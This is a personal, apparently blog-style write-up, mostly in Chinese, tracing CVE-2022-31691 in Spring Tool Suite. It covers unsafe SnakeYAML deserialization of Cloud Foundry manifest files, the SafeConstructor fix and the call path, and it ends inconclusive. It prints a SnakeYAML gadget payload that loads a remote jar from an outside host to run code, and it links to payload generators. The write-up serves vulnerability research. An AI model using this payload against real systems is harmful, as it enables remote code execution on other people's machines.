
A write-up of my (so far inconclusive) look into CVE-2022-31691
关于我对 CVE-2022-31691(目前尚无结论)的剖析文章。
我是 Eclipse 的 Spring Tool Suite (STS) 的常客,经常依赖它来初始化新的 Spring Boot 项目。该漏洞(参见 https://tanzu.vmware.com/security/cve-2022-31691)是一个远程代码执行漏洞,可通过不安全地加载 yaml 配置文件中的内容来触发。
SnakeYaml 是 Java 中非常常用的 YAML 解析和生成库。然而,与任何编组/解组过程一样,始终存在将非预期内容直接加载到内存中的风险。SnakeYaml 也不例外——参见 https://code.google.com/archive/p/snakeyaml/wikis/Documentation.wiki#Tutorial。
Loading YAML
Warning: It is not safe to call Yaml.load() with any data received from an untrusted source!
The method Yaml.load() converts a YAML document to a Java object.
基于此,项目维护者添加了一个 SafeConstructor 方法:
Note if you want to limit objects to standard Java objects like List or Long you need to use SafeConstructor.
Yaml yaml = new Yaml(new SafeConstructor());
理由很明确,但显然人们并未很好地遵循这一建议。只需稍作搜索,就能看到大量不安全加载的示例。就连 Baeldung(一个关于 Spring 的优秀信息来源)在其指南中也未提及这一点:https://www.baeldung.com/java-snake-yaml#basic-usage。
为了利用该漏洞,我需要让这个构造函数解组一个我能控制的对象。幸运的是,其他人已经在这里做了基础工作。https://github.com/artsploit/yaml-payload 是一个简单的项目,用于生成 SnakeYaml 利用载荷(类似于 https://github.com/mbechler/marshalsec)。其思路是:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
]]
]
该漏洞在 STS 4.16.1 版本中修复。快速查看该版本的提交,可以得到一些关于修复内容的提示 —— https://github.com/spring-projects/sts4/compare/4.16.0.RELEASE...4.16.1.RELEASE
这个提交 的消息 —— “Use SafeConstructor in Snakeyaml YAML constructors” 很好地指出了修复内容。
果然,这里 就是替换为 SafeConstructor 的位置。
YamlASTProvider parser = new YamlASTProvider(new Yaml(new SafeConstructor()));
如果我想利用这个漏洞,我需要将恶意内容注入到这个 SnakeYaml 构造函数中,因此我需要追踪它的调用来源。
SnakeYaml 对象的创建接收了一个由 getInputStream() 方法创建的 InputStream 对象。
getInputStream() 调用 getManifestFile() 来确定要加载哪个清单文件。
getManifestFile() 返回清单文件的位置(如果在构造函数中指定了),否则返回 null。
ApplicationManifestHandler 类在 CloudFoundryBootDashModel 类中初始化,位置在这里,它接收的值派生于在 resolveDeploymentProperties 方法的构造函数中设置的值,位置在这里。
我很确定我需要配置一些 CloudFoundry 环境,才能让它尝试加载/调用我恶意的 manifest.yml 文件。
事实证明,CloudFoundry 是一项正在消亡的技术(我猜是因为 Kubernetes 之类的原因)。我找不到任何公开的平台来创建 CF 连接,因此实际上无法从这里进行测试。
考虑搭建一个本地的 CloudFoundry 开发实例,哪怕只是为了验证我对漏洞和利用的理解。